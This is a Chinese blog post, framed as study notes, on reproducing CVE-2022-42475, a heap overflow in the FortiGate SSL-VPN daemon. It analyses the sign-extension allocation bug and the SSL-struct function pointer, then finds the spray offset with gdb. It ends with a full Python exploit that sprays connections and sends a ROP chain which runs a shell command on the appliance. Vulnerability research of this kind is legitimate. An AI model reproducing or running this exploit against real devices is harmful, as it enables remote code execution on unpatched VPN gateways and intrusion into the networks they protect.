• CVE-2022-42475-FortiGate-SSLVPN HeapOverflow 学习记录


    前言

    之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持 ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。

    如何劫持SSL结构体指针实现控制程序流

    就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的 gadget便可以控制程序的执行流。相关代码如下:

    __int64 __fastcall debug_2nd_control(__int64 a1, char a2)
    {
      ...
          if ( v9 )
          {
            result = v8 + 96;
            if ( v9 != v8 + 96 )
            {
              v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192);
              if ( v10 )
                return v10(a1);
              ...
    }
    
    .text:000000000180C180 48 8B 82 C0 00 00 00                    mov     rax, [rdx+0C0h]
    .text:000000000180C187 4C 89 EF                                mov     rdi, r13
    .text:000000000180C18A 48 85 C0                                test    rax, rax
    .text:000000000180C18D 0F 84 85 00 00 00                       jz      loc_180C218
    .text:000000000180C193 5B                                      pop     rbx
    .text:000000000180C194 41 5C                                   pop     r12
    .text:000000000180C196 41 5D                                   pop     r13
    .text:000000000180C198 41 5E                                   pop     r14
    .text:000000000180C19A 5D                                      pop     rbp
    .text:000000000180C19B FF E0                                   jmp     rax
    

    漏洞点

    从下面的汇编中可知,这里分配的大小是由 movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为 1,从而产生堆溢出。利用手法是,在堆上大量喷射 SSL结构体,从而劫持其中对应的函数指针。

    0000000001811174 8B 40 18        mov     eax, [rax+18h]  ; Keypatch modified this from:
    0000000001811174                 ;   nop word ptr [rax+rax+00000000h]
    0000000001811174                 ; Keypatch padded NOP to next boundary: 8 bytes
    0000000001811177 49 8B 3C 24     mov     rdi, [r12]      ; Keypatch modified this from:
    000000000181117B E9 86 02 00 00  jmp     loc_1811406
    
    0000000001811406 8D 70 01        lea     esi, [rax+1]    ; Keypatch modified this from:
    0000000001811409 E9 96 01 00 00  jmp     loc_18115A4
    
    00000000018115A4 48 63 F6        movsxd  rsi, esi        ; Keypatch modified this from:
    00000000018115A7 E9 88 FB FF FF  jmp     loc_1811134
    
    0000000001811134 E8 27 0A EC FF  call    alloc__
    

    如何确定填充数量

    网上已经有文章(https://forum.butian.net/index.php/share/2166)给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言,ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串 read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为 192的地方。故我们只需定位到 read_post_data,即可确定偏移。

    sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);
    
    char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5)
    {
      ...
      strLen = strlen(str);
      v8 = alloc__(*a1, strLen + 201);
      v9 = (__int64)v8;
      if ( v8 )
      {
        *(_QWORD *)v8 = v8;
        *((_QWORD *)v8 + 1) = v8;
        v10 = &v8[32 * a3];
        *((_DWORD *)v10 + 6) = a4;
        *((_DWORD *)v10 + 7) = a4;
        if ( (a4 & 1) != 0 )
        {
          *(_QWORD *)(32LL * a3 + v9 + 32) = a5;
        }
        else if ( (a4 & 4) != 0 )
        {
          *(_QWORD *)(32LL * a3 + v9 + 40) = a5;
        }
        strcpy((char *)(v9 + 200), str);
        ...
    }
    

    调试时内存分布如下,有 0x2638-0x1818 = 0xE20 = 3616

    (gdb) i r $rdi
    rdi            0x7f6edef01818   140114163406872
    (gdb) x/10gx 0x7f6edef01818
    0x7f6edef01818: 0x0000000000000000      0x0000000000000000
    0x7f6edef01828: 0x0000000000000000      0x0000000000000000
    0x7f6edef01838: 0x0000000000000000      0x0000000000000000
    0x7f6edef01848: 0x0000000000000000      0x0000000000000000
    0x7f6edef01858: 0x0000000000000000      0x0000000000000000
    (gdb) x/10gx 0x7f6edef02638
    0x7f6edef02638: 0x0000000000000000      0x736f705f64616572
    0x7f6edef02648: 0x0000617461645f74      0x0000000000000000
    0x7f6edef02658: 0x0000000000000000      0x0000000000000000
    0x7f6edef02668: 0x0000000000000000      0x0000000000000000
    0x7f6edef02678: 0x0000000000000000      0x0000000000000000
    (gdb) x/s 0x7f6edef02640
    0x7f6edef02640: "read_post_data"
    

    poc

    import struct
    import socket
    import ssl
    
    p64 = lambda x: struct.pack(", x)
    
    path = "/remote/login".encode()
    
    ip = "192.168.229.162"
    port = 4443
    
    def create_ssl_ctx():
        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        _socket.connect((ip, port))
        _default_context = ssl._create_unverified_context()
        _socket = _default_context.wrap_socket(_socket)
        return _socket
    
    socks = []
    
    for i in range(60):
        sk = create_ssl_ctx()
        data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
        sk.sendall(data)
        socks.append(sk)
    
    for i in range(20, 40, 2):
        sk = socks[i]
        sk.close()
        socks[i] = None
    
    CL = "115964116992"
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1"
    
    exp_sk = create_ssl_ctx()
    
    for i in range(20):
        sk = create_ssl_ctx()
        socks.append(sk)
    
    exp_sk.sendall(data)
    
    payload = b"b" * (3613-0xc0)
    payload+= p64(0)
    payload+= p64(0x19de70a)
    # 0x00000000019de70a : pop r12 ; pop r13 ; pop rbp ; ret
    payload+= p64(0x100)*3
    payload+= p64(0x1855c29)
    # 0x0000000001855c29 : add rdx, r8 ; mov byte ptr [rdx], 0 ; ret
    payload+= p64(0x1fe54ad)
    # 0x0000000001fe54ad : pop rbp ; mov rax, rdx ; ret
    payload+= p64(0x30)
    payload+= p64(0x18cfb70)
    # 0x00000000018cfb70 : lea rdi, [rax - 0x28] ; call qword ptr [rax + 0x30]
    payload+= p64(0x40)*(24-9)
    
    payload+= p64(0x1d3379c) # rip
    # push rdx ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
    payload+= p64(0x736f705f64616572)
    payload+= p64(0x0000617461645f74)
    cmd = b"busybox ls > /tmp/hack"
    cmd = cmd.ljust(11*0x8, b'\x00')
    payload+= cmd
    payload+= p64(0x43FDF0)
    
    exp_sk.sendall(payload)
    
    for sk in socks:
        if sk:
            data = b"b" * 40
            sk.sendall(data)
    
    print("done")
    

    参考链接

    https://forum.butian.net/index.php/share/2166

    https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html

    https://wzt.ac.cn/2022/12/15/CVE-2022-42475/

    https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/


    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/17641251.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    Serverless云上作战阵型 | 通过云函数使用云数据库快速突破音障
    关于利用rundll32执行程序的分析
    医学图像标注终极指南
    JT808协议介绍 --- 格林恩德 CR202 RTK 高精度车载定位器协议解读
    ES6深入(Symbol、类、迭代器、Set、Map)(二)
    微信小程序商场项目(SpringBoot)--- 小程序模块
    SpringBoot工程打包与运行(Windows版)
    Python提取JSON数据中的键值对并保存为.csv文件
    java中PriorityQueue队列的使用
    java springboot VUE粮食经销系统开发mysql数据库web结构java编程计算机网页源码maven项目
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/17641251.html